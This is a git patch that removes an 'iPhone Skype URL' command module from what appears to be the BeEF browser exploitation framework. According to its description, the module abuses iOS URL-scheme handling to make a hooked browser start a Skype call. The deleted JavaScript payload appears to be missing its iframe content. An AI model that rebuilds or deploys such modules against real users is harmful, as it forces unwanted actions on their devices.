From 5db2541cc2b53c91e0aee3b160d6e8dc28c584e1 Mon Sep 17 00:00:00 2001 From: xntrik Date: Tue, 15 Feb 2011 13:20:25 +0000 Subject: [PATCH] issue 269 : insecure URL schemes work in multiple browsers git-svn-id: https://beef.googlecode.com/svn/trunk@740 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9 --- .../host/iphone_skype/iphone_skype.js | 5 --- .../host/iphone_skype/iphone_skype.rb | 45 ------------------- 2 files changed, 50 deletions(-) delete mode 100644 modules/commands/host/iphone_skype/iphone_skype.js delete mode 100644 modules/commands/host/iphone_skype/iphone_skype.rb diff --git a/modules/commands/host/iphone_skype/iphone_skype.js b/modules/commands/host/iphone_skype/iphone_skype.js deleted file mode 100644 index 7b13a382a..000000000 --- a/modules/commands/host/iphone_skype/iphone_skype.js +++ /dev/null @@ -1,5 +0,0 @@ -beef.execute(function() { - document.body.innerHTML = ""; - - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result=IFrame Created!"); -}); diff --git a/modules/commands/host/iphone_skype/iphone_skype.rb b/modules/commands/host/iphone_skype/iphone_skype.rb deleted file mode 100644 index f9822f9a5..000000000 --- a/modules/commands/host/iphone_skype/iphone_skype.rb +++ /dev/null @@ -1,45 +0,0 @@ -module BeEF -module Modules -module Commands - - -class Iphone_skype < BeEF::Command - - # - # Defines and set up the command module. - # - def initialize - super({ - 'Name' => 'iPhone Skype URL', - 'Description' => 'This module will force the browser to attempt a skype call. It will exploit the insecure handling of URL schemes in iOS
-
- The protocol handler used will be: skype', - 'Category' => 'Host', - 'Author' => 'xntrik, Nitesh Dhanjani', - 'Data' => [ - { 'name' => 'tel_num', 'ui_label'=>'Number', 'value' =>'5551234', 'width' => '200px' } - ], - 'File' => __FILE__ - }) - - set_target({ - 'verified_status' => VERIFIED_WORKING, - 'browser_name' => S - }) - - use 'beef.dom' - use_template! - end - - def callback - content = {} - content['Result'] = @datastore['result'] - save content - - end - -end - -end -end -end